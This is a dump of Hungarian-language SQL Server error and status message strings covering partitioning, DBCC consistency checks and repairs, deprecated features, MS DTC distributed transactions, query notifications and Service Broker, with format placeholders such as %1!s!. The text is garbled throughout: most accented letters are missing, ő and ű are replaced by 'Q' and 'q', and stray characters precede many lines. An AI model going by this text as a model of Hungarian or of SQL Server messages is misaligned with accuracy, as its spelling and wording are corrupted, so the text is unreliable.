Figyelmeztets: A kvetkezQ partcifggvny tartomnyrtk-listja nincs rtk szerint rendezve:  %1!s! . A CREATE PARTITION SCHEME utasts vgrehajtsa sorn a partcik fjlcsoportokhoz val hozzrendelse a rendezett hatrrtkeket fogja hasznlni, ha a CREATE PARTITION SCHEME hivatkozik a kvetkezQ fggvnyre:  %2!s! .

0Figyelmeztets: A(z)  %1!s!  partcisma nem rendelkezik kvetkezQknt hasznlatos (next used) fjlcsoporttal. A partcisma nem lett mdostva.

\A kvetkezQ partcisma sikeresen ltrehozva:  %1!s! . A(z)  %3!s!  partcismban a kvetkezQknt hasznlatos (next used) fjlcsoportknt a(z)  %2!s!  van megjellve.

A kvetkezQknt hasznlt (next used) fjlcsoport utn megadott %1!s! fjlcsoport figyelmen kvl hagyva.

\A(z)  %3!s!  frtztt index szmra meghatrozott  %2!s!  %1!s! kerlt felhasznlsra a(z)  %4!s!  tblhoz, annak ellenre, hogy a(z)  %6!s!  %5!s! van hozz megadva.

Nem sikerlt trlni a kvetkezQ vgpont regisztrcijt:  %1!s! .

A kvetkezQ objektum nem tallhat, mert nem ltezik, vagy nnek nincs megfelelQ engedlye:  %1!s! .

A metaadatok kztt meg lett hatrozva a(z)  %1!s!  vgpont, azonban a HTTP-figyels nincs engedlyezve, mert a HTTP-tmogats indtsa nem sikerlt. EllenQrizze, hogy az opercis rendszer s a SQL Server e kiadsa tmogatja-e a natv HTTP-hozzfrst. Tekintse t a SQL Server hibanapljt olyan hibk utn kutatva, amelyek a HTTP-tmogats indtsa sorn esetlegesen bekvetkeztek.

XA megadott rtk ( %1!s! ) mr ltezik.

XA megadott rtk ( %1!s! ) nem ltezik.

A kvetkezQ adatbzis nem tallhat, mert nem ltezik, vagy nnek nincs megfelelQ engedlye:  %1!s! .

A HTTP-nvtr (%1!s!) fenntartsa trlve. Ha vannak olyan vgpontok, amelyek ehhez a nvtrhez hozz vannak rendelve, akkor azok tovbbra is fogadjk s feldolgozzk a krelmeket, egszen a kiszolgl jraindtsig.

Az SQL Server %1!s! fennmarad munkamenet s kapcsolat bezrsra vr. Ha ezek a munkamenetek nem zrdnak be elfogadhat idQn bell, akkor az  udvarias  lellts meg lesz szaktva. Ez az zenet az SQL Server lelltsa elQtt tbbszr is megjelenhet.

Az SQL Server sikeresen bezrta a munkameneteket s kapcsolatokat.

Az SQL Server nem tudta elfogadhat idQn bell bezrni a munkameneteket s kapcsolatokat, ezrt megszaktja az  udvarias  lelltst.

A TSQL-vgpont ltrehozsa a(z)  %1!s!  vgpont esetleges  Public  (nyilvnos) kapcsoldsi engedlyeinek visszavonst eredmnyezi. Ha ezen a vgponton nyilvnos ( Public ) hozzfrsre van szksg, akkor alkalmazza jbl ezt az engedlyt a kvetkezQ hasznlatval:  GRANT CONNECT ON ENDPOINT::[%2!s!] to [public] .

 A SOAP-vgpontok ltrehozsnak s mdostsnak a lehetQsge meg fog szqnni a SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

Az SQL Server natv SOAP-tmogatsa elavult funkci, s az SQL Server egy jvQbeli verzijban meg fog szqnni. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

Javts: A(z) %1!s! jelq lap le lett foglalva a kvetkezQhz: objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpus: %6!s!).

Javts: A(z) %1!s! jelq lap fel lett szabadtva a kvetkezQtQl: objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpus: %6!s!).

Javts: A(z) %1!s! egysg le lett foglalva a kvetkezQhz: objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpus: %6!s!).

Javts: A(z) %1!s! egysg fel lett szabadtva a kvetkezQtQl: objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpus: %6!s!).

Javts: A(z) %1!s! jelq lap (hely: %2!s!) jra lett ptve.

Javts: A kvetkezQhz tartoz indexfoglalsitrkp-lnc csonkolva lett a(z) %6!s! jelq lap elQtt, s jra lesz ptve: objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!).

<Javts: A kvetkezQhz tartoz rekord trlve: objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A rekord a kvetkezQ helyrQl lett trlve: lap: %6!s!, trolhely: %7!s!. Az indexek jra lesznek ptve.

Javts: A kvetkezQhz tartoz tovbbtott rekord adatsorr lett konvertlva: objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A tovbbtott rekord helye: lap: %6!s!, trolhely: %7!s!.

`Javts: A lap  kvetkezQ  s  elQzQ  mutati egymssal megegyezQre lettek tlltva. KvetkezQ mutat azonostja: %1!s!, elQzQ mutat azonostja: %2!s!. A mutatk helye: objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s! (tpus: %7!s!).

%1!s! bejegyzs feldolgozva a(z) %2!s!. azonostj adatbzishoz tartoz rendszerkatalgusban.

tTbla: %1!s!               Objektumazonost: %2!s!.

,Indexazonost: %1!s!, partciazonost: %2!s!, foglalsi egysg azonostja: %3!s! (tpus: %4!s!). FirstIAM: %5!s!. Root: %6!s!. Dpages: %7!s!.

4Indexazonost: %1!s!, partciazonost: %2!s!, foglalsi egysg azonostja: %3!s! (tpus: %4!s!). %5!s! lap felhasznlva %6!s! dediklt egysgben.

HEgysgek szma sszesen: %1!s!.

A DBCC %1!s! utasts jelenleg a kvetkezQ tblt olvassa be:  %2!s! ...

Tbla:  %1!s!  (%2!s!); indexazonost: %3!s!, adatbzis-azonost: %4!s!

P%1!s!. szintq beolvass elvgezve.

x  Beolvasott lapok szma.......................: %1!s!

x  Beolvasott egysgek szma....................: %1!s!

x  Egysgvltsok szma.........................: %1!s!

x  Egysgenknti tl. lapszm...................: %1!s!

  Beolvass sqrqsge [idelis:tnyleges].......: %1!s!%2!s! [%3!s!:%4!s!]

  Logikai beolvass tredezettsge.............: %1!s!%2!s!

\Figyelmeztets: Az opercis rendszer hibjbl kifolylag nem sikerlt befejezni a FILESTREAM konzisztencijnak ellenQrzst. A FILESTREAM alrendszerben esetlegesen megtallt konzisztenciahibk nem lesznek megjelentve. Ez valsznqleg tmeneti llapot; prblja meg jbl futtatni a parancsot.

  Egysgbeolvass tredezettsge...............: %1!s!%2!s!

x  Szabad bjtok tl. szma laponknt...........: %1!s!

  tl. lapsqrqsg (teljes).....................: %1!s!%2!s!

A megadott SPID puffere nem jelenthetQ meg; tmenet alatt ll.

4Javts: A(z) %2!s! azonostj oszlophoz tartoz  %1!s!  FILESTREAM-fjl trlve, a kvetkezQ azonostj objektumra vonatkozan: %3!s! (indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s!, tpus: %7!s!). Helye: lap: %8!s!, trolhely: %9!s!.

0Figyelmeztets: A kvetkezQ parancs NO_INDEX opcija hasznlatban van: %1!s!. A nem rendszerindexekre vonatkoz ellenQrzseket a rendszer kihagyja.

tA kvetkezQ adatbzis tranzakciinformcii:  %1!s! .

L%1!s!Legrgebbi aktv tranzakci:

x    SPID (kiszolgli folyamat azonostja): %1!s!%2!s!

T    UID (felhasznlazonost): %1!s!

<    Nv           : %1!s!

X    LSN           : (%1!s!:%2!s!:%3!s!)

<    Kezds ideje  : %1!s!

<    SID           : %1!s!

X%1!s!Repliklt tranzakci informcii:

|        Legrgebbi elosztott LSN   : (%1!s!:%2!s!:%3!s!)

|        Legrgebbi nem elosztott LSN: (%1!s!:%2!s!:%3!s!)

A(z)  %2!s!  adatbzisban tallhat  %1!s!  fjl nem zsugorthat %3!s! lapra, mert csak %4!s! lapot tartalmaz.

8Ki lesz hagyva a DBCC CheckDatabase utasts vgrehajtsa az erQforrs-adatbzison, mert a kvetkezQ felhasznlnak nincs megfelelQ engedlye:  %1!s! .

A rendszer a(z)  %1!s!  fjl  %2!s!  szm verzijt hasznlja a kvetkezQ bQvtett trolt eljrs vgrehajtshoz:  %3!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A bQvtett trolt eljrsok  %1!s!  DLL fjlja nem exportlja a __GetXpVersion() eljrst. Tovbbi informci a dokumentci  Backward Compatibility Details (Level 1) - Open Data Services  cmq szakaszban tallhat.

(A bQvtett trolt eljrsok  %1!s!  DLL fjljnak jelentse szerint annak verziszma a kvetkezQ: %2!s!.%3!s!. A vrt verziszm: %4!s!.%5!s!.

Figyelmeztets: Egy sszests vagy ms SET mqvelet kiiktatja a null rtket.

A kvetkezQ tbla nem tallhat: %1!s!. A rendszer ksQbb megprblkozik e tblanv feloldsval.

Az sp_addextendedproperty, az sp_updateextendedproperty s az sp_dropextendedproperty eljrsokban, valamint az fn_listextendedproperty tblzat rtkq fggvnyben a level0type tpus  USER  (felhasznl) rtkkel val hasznlata elavult, s ennek a lehetQsge az SQL Server egy jvQbeli vltozatban meg fog szqnni. A felhasznlk most mr sma hatkrqek, ezrt a level0type tpust a  SCHEMA  (sma) rtkkel, a level1type tpust pedig a  USER  rtkkel hasznljk a USER kiterjesztett tulajdonsgainl.

$A CREATE RULE s a DROP RULE utastsok el lesznek tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a CREATE RULE s a DROP RULE utastsok hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azokat. Hasznljon helyettk ellenQrzQ megktseket a CREATE TABLE vagy az ALTER TABLE utastsok CHECK kulcsszavval.

LA CREATE DEFAULT s a DROP DEFAULT utastsok el lesznek tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a CREATE DEFAULT s a DROP DEFAULT utastsok hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azokat. Hasznljon helyettk alaprtelmezett defincikat az ALTER TABLE vagy a CREATE TABLE utastsok DEFAULT kulcsszavval.

HAz INDEXKEY_PROPERTY fggvny el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Hasznlja helyette a sys.index_columns nzetet.

`A TEXT IN ROW funkci meg fog szqnni az SQL Server egy jvQbeli verzijban. Kerlje az sp_tableoption eljrs TEXT IN ROW opcival trtnQ hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk a text in row opcit. A nagy mretq adatok trolsnak elQnyben rszestett mdja a varchar(max), az nvarchar(max) s a varbinary(max) adattpusok hasznlata.

Az sp_addextendedproperty, az sp_updateextendedproperty s az sp_dropextendedproperty eljrsokban, valamint az fn_listextendedproperty tblzat rtkq fggvnyben a level0type tpus  TYPE  (tpus) rtkkel val hasznlata elavult, s ennek a lehetQsge az SQL Server egy jvQbeli vltozatban meg fog szqnni. A tpusok most mr sma hatkrqek, ezrt a level0type tpust a  SCHEMA  (sma) rtkkel, a level1type tpust pedig a  TYPE  rtkkel hasznljk a TYPE kiterjesztett tulajdonsgainl.

(A FILE_ID fggvny el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Hasznlja helyette a FILE_IDEX fggvnyt.

PA USER_ID fggvny el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk a fggvnyt. Hasznlja helyette a DATABASE_PRINCIPAL_ID fggvnyt.

A @@REMSERVER fggvny el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Hasznlja helyette a csatolt kiszolglkat, illetve csatolt kiszolgli trolt eljrsokat.

Az utasts ( %1!s! ) cltbljra vonatkoz UPDATE vagy DELETE utasts FROM zradkban a NOLOCK s a READUNCOMMITTED mutat hasznlata elavult. Ezen a helyen ezek a mutatk nem brnak hatssal. A Microsoft azt javasolja, hogy tvoltsa el ezeket a mutatkat az utastsbl. E mutatk ezen a helyen trtnQ hasznlatnak tmogatsa meg fog szqnni az SQL Server egy jvQbeli verzijban.

A rgi stlus RAISERROR eljrs (formtum: RAISERROR egsz_szm karakterlnc) el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Helyette hasznlja az j stlus RAISERROR eljrst.

Az SQLOLEDB mr nem tmogatott szolgltat. Hasznlja az SQL Native Client (SQLNCLI) programot, ha az SQL Server rendszerhez kvn kapcsoldni a kvetkezQ csatolt kiszolgl hasznlatval:  %1!s! .

DAz SQLOLEDB mr nem tmogatott szolgltat. Hasznlja az SQL Native Client (SQLNCLI) programot, ha ad hoc mdon kvn kapcsoldni az SQL Server rendszerhez.

A tblamutatk WITH kulcssz nlkl trtnQ megadsa elavult funkci, amely egy jvQbeli verziban meg fog szqnni.

A HOLDLOCK, mint tblamutat zrjelek nlkl val megadsa elavult funkci, amely az SQL Server kvetkezQ verzijban meg fog szqnni.

tA szkzk tblamutatk elvlasztjaknt trtnQ hasznlata elavult funkci, amely egy jvQbeli verziban meg fog szqnni. Hasznljon vesszQket az egyes tblamutatk elvlasztshoz.

@90-es s annl magasabb kompatibilitsi mdban az sszestQ indexelt nzetek kivlasztsi listinak tartalmazniuk kell a count_big(*) aggregtumfggvnyt.

A(z)  %1!s!  mutatnak az INSERT utasts cltbljn val hasznlata elavult, mert lehetsges, hogy az SQL Server egy jvQbeli verzijban megszqnik ennek a lehetQsge. Tvoltsa el a mutathasznlatot az INSERT utastsbl.

Az SQL Server egy jvQbeli verzijban meg fog megszqnni annak a lehetQsge, hogy a tblamutatkat tbbutastsos, tblzat rtkq fggvnyek nzeten keresztli meghvsaira kzvetetten alkalmazni lehessen. Tvoltsa el a mutatkat a(z)  %1!s!  nzetre val hivatkozsokbl, mert az egy tbbutastsos, tblzat rtkq fggvnyre hivatkozik.

 Az esemnyindtkbl trtnQ eredmny-visszaads lehetQsge meg fog szqnni az SQL Server egy jvQbeli vltozatban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

Az ALL engedly el lesz tvoltva az SQL Server egy jvQbeli vltozatban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

A  ::  fggvnyhvsi szintaxis meg fog szqnni az SQL Server egy jvQbeli vltozatban. Cserlje le a kvetkezQre:  sys. .

LA DROP INDEX utastsban a ktrszes nevek hasznlata elavult. j stlus szintaxis: DROP INDEX <1p-rszes-nv> ON {<3p-rszes-tblanv> | <3p-rszes-nzetnv> }

\Az SQL Server egy jvQbeli verzijban meg fog szqnni annak a lehetQsge, hogy timestamp adattpus esetn mellQzve legyen az oszlopnv megadsa. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

lAz elavult indexopci-szintaxis hasznlata. Az elavult relcis indexopciszintaxis-struktra az SQL Server egy jvQbeli vltozatban el lesz tvoltva. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

hA kvetkezQ szolgltatst el fogjk tvoltani az SQL Server jvQbeli verziibl: %1!s!. Kerlje a szolgltats hasznlatt j fejlesztseiben, s kszljn fel arra, hogy mdostania kell azokat az alkalmazsokat, amelyek jelenleg ezt a szolgltatst hasznljk. Hasznlja helyette a kvetkezQt: %2!s!.

A TEXT, az NTEXT s az IMAGE adattpusok el lesznek tvoltva az SQL Server egy jvQbeli vltozatban. Kerlje ezek hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk ezeket. Helyettk hasznlja a varchar(max), az nvarchar(max) s a varbinary(max) adattpusokat.

0A kettQnl tbb rszbQl ll oszlopnevek hasznlatnak lehetQsge el lesz tvoltva az SQL Server egy jvQbeli vltozatban. Kerlje ezek hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk ezeket.

A kvetkezQ szolgltatst el fogjk tvoltani az SQL Server jvQbeli verziibl: %1!s!. Kerlje a szolgltats hasznlatt j fejlesztseiben, s kszljn fel arra, hogy mdostania kell azokat az alkalmazsokat, amelyek jelenleg ezt a szolgltatst hasznljk.

A QueryInterface sikertelen a kvetkezQre vonatkozan:  %1!s! : %2!s!.

8Knyszertett vgrehajtson esett t a kvetkezQ UOW-rtkkel rendelkezQ elosztott tranzakci: %1!s!. Az MS DTC tmenetileg nem volt elrhetQ, s a tranzakci heurisztikus feloldst knyszertette. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Knyszertett visszalltson esett t a kvetkezQ UOW-rtkkel rendelkezQ elosztott tranzakci: %1!s!.

A(z) %1!s!. azonostj rendszerfolyamat megprblta lelltani a kvetkezQ munkaegysg-azonostval rendelkezQ elosztott tranzakcit: %2!s!. Ez az zenet akkor jelenik meg, amikor az gyfl KILL utastst hajt vgre az elosztott tranzakcin.

A(z) %1!s! SPID megprblta vgrehajtani a kvetkezQ UOW-rtkkel rendelkezQ elosztott tranzakcit: %2!s!.

Nem sikerlt vgrehajtani egy elQksztett tranzakcit a Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatsbl. A rendszer lelltja a kiszolglt az erQforrs-kezelQ (RM) helyrelltsnak kezdemnyezse rdekben. Az RM a helyrellst kvetQen lekrdezi a tranzakcikezelQtQl a ktsges tranzakci vgeredmnyt, s attl fggQen vgrehajtst vagy visszalltst eszkzl.

`Ismeretlen vgrehajtsi llapot egy ktfzis vgrehajtsi tranzakcinl. A rendszer lelltja a kiszolglt. Indtsa jra a kiszolglt a teljes helyrellts rdekben.

Ismeretlen llapot az rm_resolve Reenlist-hvstl:  %1!s! .

Nem sikerlt betlteni a Microsoft Distributed Transaction Coordinator (MS DTC) knyvtrt. Ez a hiba azt jelzi, hogy az MS DTC nincs teleptve. A folytatshoz teleptse az MS DTC szolgltatst.

lAz erQforrs-kezelQ ltrehozsa sikertelen: %1!s!

pA DTC nem rhetQ el, ezrt nem lett inicializlva.

dA GetWhereaboutsSize hvsa sikertelen: %1!s!

Nem sikerlt inicializlni az MS DTC szolgltatst, mert a tranzakcikezelQ cme rvnytelen. Lehetsges, hogy a cminformcit tartalmaz protokollelem tl nagy. Hlzati protokollelemzQ eszkz hasznlatval tovbbi informcikat tudhat meg a hiba okrl. Lpjen kapcsolatba alkalmazstmogatsi szolgltatjval vagy a Microsoft termktmogatsi szolglatval.

\A RegCloseKey fggvny sikertelen: %1!s!

Nem sikerlt inicializlni a Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatst, mert kevs a memria. Lehetsges, hogy tovbbi memria felszabadtsa rdekben bizonyos kiszolglkonfigurcis belltsokat mdostani kell.

Nem sikerlt felvenni a kapcsolatot a Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatssal. Ha szksges van az elosztott tranzakcik funkcionalitsra, indtsa el a szolgltatst.

A rendszer megksrli helyrelltani a Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatshoz kapcsold ktsges elosztott tranzakcikat. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatshoz kapcsold esetleges ktsges elosztott tranzakcik helyrelltsa befejezQdtt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatssal val kapcsolat megszakadt. A Microsoft Distributed Transaction Coordinator (MS DTC) szolgltatshoz kapcsold esetleges ktsges elosztott tranzakcik helyrelltsa a kapcsolat jbli ltestse utn megkezdQdik. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Hiba trtnt az RPCSS szolgltats llapotnak megllaptsa kzben. A(z)  %1!s!  hvsa a kvetkezQt adta eredmnyl: %2!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az index-ltrehozsi mqvelet az sp_configure eljrs specilis  min memory per query (KB)  (lekrdezsenknti minimlis memria) opcijban megadott %1!s! KB-os memriamretet fogja hasznlni az  index create memory (KB)  (index-ltrehozsi memria) opciban megadott %2!s! KB-os mret helyett, mert az elQbbinek kisebbnek kell lennie az utbbinl.

A(z)  %1!s!  tbla indexmutatit a rendszer figyelmen kvl hagyta, mert tnytblnak szmtott a tbla a csillag-sszekapcsolsban.

Figyelmeztets: Az sszekapcsolsi sorrend knyszertve lett, mert helyi sszekapcsolsi mutat van hasznlatban.

<        A hiba kijavtva.

A(z) %1!s! parancs %2!s! foglalsi hibt s %3!s! konzisztenciahibt javtott ki a kvetkezQ adatbzisban:  %4!s! .

$Helytelen PFS-szabadterleti informci a kvetkezQ lapra vonatkozan: %1!s!. A lapot tartalmaz objektum azonostja: %2!s! (indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!). Vrt rtk: %7!s!, tnyleges rtk: %8!s!.

           Fjl: %1!s! (kevert egysgek szma = %2!s!, kevert lapok szma = %3!s!).

    Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), adategysgek: %6!s!, lapok: %7!s!, kevert egysglapok: %8!s!.

    Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), indexegysgek: %6!s!, lapok: %7!s!, kevert egysglapok: %8!s!.

       (kevert egysgek szma = %1!s!, kevert lapok szma = %2!s!) ebben az adatbzisban.

P        A hiba javtsa sikertelen.

        A DBCC-utasts javtsi szintje a javtsi mqvelet megkerlst eredmnyezte.

        A hiba javtsa elQtt ms hibk javtsra van szksg.

 A(z) %1!s! parancs %2!s! foglalsi hibt s %3!s! konzisztenciahibt javtott ki a kvetkezQ tblban:  %4!s!  (objektumazonost: %5!s!).

Javts: A(z) %2!s! azonostj objektumhoz tartoz, %1!s! azonostj, soron kvli adatoszlop trlve lett. Indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpusa: %6!s!). Adatoszlop helye: lap: %7!s!, trolhely: %8!s!.

A(z) %1!s! parancs %2!s! foglalsi hibt s %3!s! konzisztenciahibt tallt, amelyek nem tartoznak egyetlen objektumhoz.

A(z) %7!s! felhasznl ltal vgrehajtott %1!s!DBCC %2!s! (%3!s!%4!s!%5!s!)%6!s! utasts %8!s! hibt tallt, s %9!s! hibt kijavtott. Eltelt idQ: %10!s! ra, %11!s! perc, %12!s! msodperc. %13!s!

A DBCC %2!s! (%3!s!%4!s!%5!s!) utasts ltal megtallt hibk minimlis javtsi szintje: %1!s!.

%3!s! jelq belsQ lekrdezshiba miatt nem sikerlt a DBCC-sorkszlet-keresztellenQrzs a kvetkezQ objektumra vonatkozan:  %1!s!  (objektumazonost: %2!s!). Slyossg: %4!s!, llapot: %5!s!. A hibrl tovbbi informci az online knyvekben tallhat.

Fjl: %1!s!. Egysgek: %2!s!, felhasznlt lapok: %3!s!, fenntartott lapok: %4!s!, kevert egysgek: %5!s!, kevert lapok: %6!s!.

A(z) %1!s! parancs %2!s! foglalsi hibt s %3!s! konzisztenciahibt tallt a kvetkezQ adatbzisban:  %4!s! .

A(z) %1!s! parancs %2!s! foglalsi hibt s %3!s! konzisztenciahibt tallt a kvetkezQ tblban:  %4!s!  (objektumazonost: %5!s!).

A tempdb adatbzis foglalsi hibi megakadlyozzk a(z) %1!s! utasts tovbbi feldolgozst.

A(z) %1!s!. szm naplfjl (%2!s!) nem zsugorthat, mert a logikai naplfjlok szma sszesen nem lehet kevesebb, mint %3!s!.

A(z) %1!s!. szm naplfjl (%2!s!) nem zsugorthat, mert a krt mret (%3!s! KB) nagyobb, mint az utols logikai naplfjl kezdete.

A(z) %1!s!. szm naplfjl (%2!s!) nem zsugorthat, mert a fjl vgn elhelyezkedQ logikai naplfjl hasznlatban van.

A(z) %1!s!. szm naplfjl (%2!s!) a szksges minimlis naplmret miatt nem zsugorthat.

A rendszer %1!s! darab olyan helytelen igazts naplkimenetet/-bemenetet szlelt, amely a szinkron ki-/bemenetre val visszalpst ignyelte. Az aktulis ki-/bemenet a kvetkezQ fjlon van: %2!s!.

xA(z) %1!s! adatbzis napljnak vgt a rendszer jrarja oly mdon, hogy az megegyezzen az j, %2!s! bjtos szektormrettel. %3!s! bjt lesz rva a(z) %5!s! fjl %4!s!. eltolsnl.

xA(z) %1!s! adatbzis tbb, mint %2!s! virtulis naplfjllal rendelkezik, ami tl nagy mennyisg. Tl sok virtulis naplfjl hossz indulsi s biztonsgi mentsi idQhz vezethet. Fontolja meg a naplfjl zsugortst, valamint ms nvekmny hasznlatt a virtulis naplfjlok szmnak cskkentse rdekben.

$A(z)  %2!s!  adatbzisban %1!s! darab, a(z)  %3!s!  biztonsgi azonostszm tulajdonban lvQ aktv lekrdezsrtests-elQfizets eldobva.

A(z)  %1!s!  beszlgetslerhoz tartoz lekrdezsrtestsi prbeszdpanel bezrdott a kvetkezQ hiba miatt:  %2!s! .

A lekrdezsrtests-kzbestsi szolgltats nem tudta elkldeni a  %1!s!  prbeszdpanel zenett. Nem sikerlt kzbesteni a(z)  %2!s!  rtestst a szolgltats-tvitelszervezQ kvetkezQ hibja miatt:  %3!s! .

HNem sikerlt fggQben lvQ lekrdezsrtestseket keresni a(z)  %1!s!  adatbzisban, mert az adatbzis megnyitsa sorn a kvetkezQ hiba lpett fel:  %2!s! .

A lekrdezsrtests-elQfizets nem tudott hozzfrni a(z) %1!s! azonostj adatbzishoz. Nem sikerlt megnyitni a(z)  %3!s!  tvitelszervezQ-pldny  %2!s!  szolgltatsnevhez tartoz tvitelszervezQ-prbeszdpanelt.

Nem sikerlt trlni a kvetkezQ lejrt lekrdezsrtests-elQfizetst:  %1!s! .

Nem sikerlt eldobni a nem hasznlt  %1!s!  belsQ lekrdezsrtestsi tblt, amely a kvetkezQ adatbzisban tallhat:  %2!s! .

 A(z)  %1!s!  beszlgetslerhoz tartoz lekrdezsrtestsi prbeszdpanel ismeretlen szolgltatstvitelszervezQ-hiba miatt bezrdott.

A lekrdezsrtests-kzbestsi szolgltats nem tudta lekrni a kvetkezQ prbeszdpanel prbeszdpanel-vgpontjt:  %1!s! . Nem sikerlt kzbesteni a(z)  %2!s!  rtestst a szolgltats-tvitelszervezQ kvetkezQ hibja miatt:  %3!s! .

%1!s! darab, a(z)  %2!s!  biztonsgi azonostszm tulajdonban lvQ aktv lekrdezsrtests-elQfizets eldobva.

4A lekrdezsrtests-elQfizets nem tudott hozzfrni a(z) %1!s! azonostj adatbzishoz. A kvetkezQ rtestst nem sikerlt kzbesteni:  %2!s! .

A(z)  %2!s!  azonostj adatbzis tvitelszervezQ-hibja miatt nem sikerlt bezrni a(z)  %1!s!  szolgltatstvitelszervezQ-prbeszdpanelt, mert a szolgltats-tvitelszervezQvel a kvetkezQ hiba trtnt:  %3!s! .

@A lekrdezsrtests-kzbestsi szolgltats nem tudta lekrni a kvetkezQ prbeszdpanel prbeszdpanel-vgpontjt:  %1!s! . Nem sikerlt a lekrdezsrtests-kzbests a szolgltats-tvitelszervezQ kvetkezQ hibja miatt:  %2!s! . Tovbbi informci a hibanaplban tallhat.

A lekrdezsrtests-kzbestsi szolgltats nem tudta elkldeni a  %1!s!  prbeszdpanel zenett. Nem sikerlt a lekrdezsrtests-kzbests a szolgltats-tvitelszervezQ kvetkezQ hibja miatt:  %2!s! . Tovbbi informci a hibanaplban tallhat.

dElemzett beszlgetsprioritsok szma: %1!s!.

A kvetkezQ vgpont letiltott vagy lelltott llapotban van: %1!s!.

TElemzett szolgltatsok szma: %1!s!.

hElemzett szolgltats-vrlistk szma: %1!s!.

`Elemzett beszlgetsvgpontok szma: %1!s!.

lElemzett tvoli szolgltatsktsek szma: %1!s!.

`Elemzett beszlgetscsoportok szma: %1!s!.

TElemzett zenettpusok szma: %1!s!.

dElemzett szolgltatskivonatok szma: %1!s!.

LA Service Broker-kezelQ elindult.

HA Service Broker-kezelQ lellt.

|A kvetkezQ vgpont elkezdte a kapcsolatfigyelst: %1!s!.

A kvetkezQ vgpont befejezte a kapcsolatfigyelst: %1!s!.

(Nem sikerlt elindtani a Service Broker szolgltatst a kvetkezQ azonostj adatbzis szmra: %1!s!. Egy problma megakadlyozza az SQL Server rendszert, hogy az elindthassa a Service Broker szolgltatst. Tovbbi zenetekrt tekintse meg az SQL Server hibanapljt.

